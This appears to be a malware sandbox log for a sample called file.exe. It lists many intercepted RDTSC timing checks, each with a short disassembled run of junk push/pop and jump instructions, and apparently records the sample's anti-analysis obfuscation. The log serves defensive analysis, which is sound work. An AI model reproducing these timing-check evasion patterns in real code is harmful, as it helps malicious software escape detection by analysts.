Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB1C second address: 136EB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F3CD87760EDh 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB39 second address: 136EB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD8C3C7E1h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c sub dword ptr [ebp+1244E004h], edi 0x00000012 lea eax, dword ptr [ebp+124813B1h] 0x00000018 sub dword ptr [ebp+122D17DCh], edx 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pushad 0x00000023 popad 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB6A second address: 136EB95 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3CD87760ECh 0x00000008 jne 00007F3CD87760E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 lea eax, dword ptr [ebp+1248136Dh] 0x00000019 add dl, FFFFFF83h 0x0000001c mov ch, 03h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jns 00007F3CD87760E6h 0x00000028 push esi 0x00000029 pop esi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB95 second address: 136EB9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3CD8C3C7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB9F second address: 1354BC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F3CD87760E8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 call 00007F3CD87760F2h 0x0000002a mov dword ptr [ebp+124754AEh], esi 0x00000030 pop ecx 0x00000031 call dword ptr [ebp+122D285Bh] 0x00000037 jne 00007F3CD8776100h 0x0000003d push esi 0x0000003e jmp 00007F3CD87760EFh 0x00000043 push eax 0x00000044 push edx 0x00000045 jg 00007F3CD87760E6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1327789 second address: 13277A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3CD8C3C7E3h 0x0000000c jl 00007F3CD8C3C7D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4CC0 second address: 13A4CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4CC8 second address: 13A4CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4CCC second address: 13A4CD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4CD2 second address: 13A4CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F3CD8C3C7D6h 0x00000015 jmp 00007F3CD8C3C7E0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4E66 second address: 13A4E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4FE0 second address: 13A4FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4FE4 second address: 13A4FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4FEA second address: 13A500A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 jo 00007F3CD8C3C7D6h 0x0000000d popad 0x0000000e push ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jg 00007F3CD8C3C7D6h 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A500A second address: 13A500E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A500E second address: 13A5031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007F3CD8C3C7D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5031 second address: 13A503A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1354BA7 second address: 1354BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F3CD8C3C7DFh 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F3CD8C3C7D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A855D second address: 13A85A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3CD87760E6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3CD87760F1h 0x00000010 jne 00007F3CD87760E6h 0x00000016 popad 0x00000017 push edi 0x00000018 push esi 0x00000019 pop esi 0x0000001a jc 00007F3CD87760E6h 0x00000020 pop edi 0x00000021 pop edx 0x00000022 pop eax 0x00000023 pushad 0x00000024 jmp 00007F3CD87760F6h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A85A6 second address: 13A85D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F3CD8C3C7E0h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3CD8C3C7E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A85D9 second address: 13A85DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9BCB second address: 13A9BD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F3CD8C3C7D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1336954 second address: 1336958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B09DB second address: 13B0A12 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F3CD8C3C7D6h 0x00000009 pop edx 0x0000000a jno 00007F3CD8C3C7DCh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3CD8C3C7DDh 0x0000001a jmp 00007F3CD8C3C7DFh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B0A12 second address: 13B0A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B0A16 second address: 13B0A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF6CB second address: 13AF6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF6D1 second address: 13AF6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jns 00007F3CD8C3C7D6h 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF866 second address: 13AF86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF86C second address: 13AF872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF9AD second address: 13AF9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F3CD87760F8h 0x00000010 jmp 00007F3CD87760F8h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF9EA second address: 13AF9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 jo 00007F3CD8C3C7E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFCE5 second address: 13AFD07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jl 00007F3CD87760E6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edi 0x00000013 jmp 00007F3CD87760EFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFE5B second address: 13AFE69 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3CD8C3C7E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFE69 second address: 13AFE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFE6F second address: 13AFE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFE73 second address: 13AFE86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3CD87760EDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B02CB second address: 13B02D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B02D3 second address: 13B02D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3D64 second address: 13B3D96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DDh 0x00000007 jmp 00007F3CD8C3C7DCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3CD8C3C7E1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3D96 second address: 13B3DAA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3CD87760E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F3CD87760ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8D92 second address: 13B8D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8EE1 second address: 13B8F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3CD87760E6h 0x0000000a jmp 00007F3CD87760EAh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F3CD87760F4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8F0E second address: 13B8F25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B97F4 second address: 13B97FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B97FA second address: 13B9808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9808 second address: 13B982B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F3CD87760E6h 0x0000000c jmp 00007F3CD87760F6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B982B second address: 13B985E instructions: 0x00000000 rdtsc 0x00000002 js 00007F3CD8C3C7EDh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3CD8C3C7E5h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F3CD8C3C7D6h 0x00000017 jmp 00007F3CD8C3C7DCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9B4B second address: 13B9B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA14D second address: 13BA162 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F3CD8C3C7DBh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD6BA second address: 13BD6BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD6BE second address: 13BD706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F3CD8C3C7D6h 0x0000000f jmp 00007F3CD8C3C7E0h 0x00000014 js 00007F3CD8C3C7D6h 0x0000001a popad 0x0000001b popad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3CD8C3C7E3h 0x00000024 jmp 00007F3CD8C3C7DBh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD202 second address: 13BD217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3CD87760ECh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD217 second address: 13BD229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD8C3C7DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD3B1 second address: 13BD3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F3CD87760E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD3C0 second address: 13BD3CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3CD8C3C7D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD3CF second address: 13BD404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD87760F5h 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jo 00007F3CD87760F0h 0x00000012 jmp 00007F3CD87760EAh 0x00000017 push edx 0x00000018 jns 00007F3CD87760E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD404 second address: 13BD416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3CD8C3C7DBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFBB7 second address: 13BFBCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3CD87760E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F3CD87760E6h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFBCC second address: 13BFBE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DAh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFBE2 second address: 13BFBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFBE6 second address: 13BFBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF702 second address: 13BF71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD87760EFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F3CD87760E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF71E second address: 13BF76A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E7h 0x00000007 js 00007F3CD8C3C7D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007F3CD8C3C7DFh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3CD8C3C7E8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF8B6 second address: 13BF8BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF8BA second address: 13BF8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3CD8C3C7DBh 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F3CD8C3C7D6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF8DE second address: 13BF8E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1256 second address: 13C125C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C295B second address: 13C295F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C295F second address: 13C2978 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F3CD8C3C7DEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C74AC second address: 13C74B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C74B0 second address: 13C74B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C74B4 second address: 13C74C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jl 00007F3CD87760E6h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C74C4 second address: 13C7504 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3CD8C3C7E4h 0x00000008 jmp 00007F3CD8C3C7DEh 0x0000000d jmp 00007F3CD8C3C7E1h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3CD8C3C7DCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7504 second address: 13C7508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C67A1 second address: 13C67E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jng 00007F3CD8C3C7DEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F3CD8C3C7E7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C67E1 second address: 13C67EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6AC4 second address: 13C6AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6F03 second address: 13C6F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7079 second address: 13C707D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C707D second address: 13C708C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F3CD87760E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB902 second address: 13CB907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CBA22 second address: 13CBA38 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3CD87760EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CBB98 second address: 13CBBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
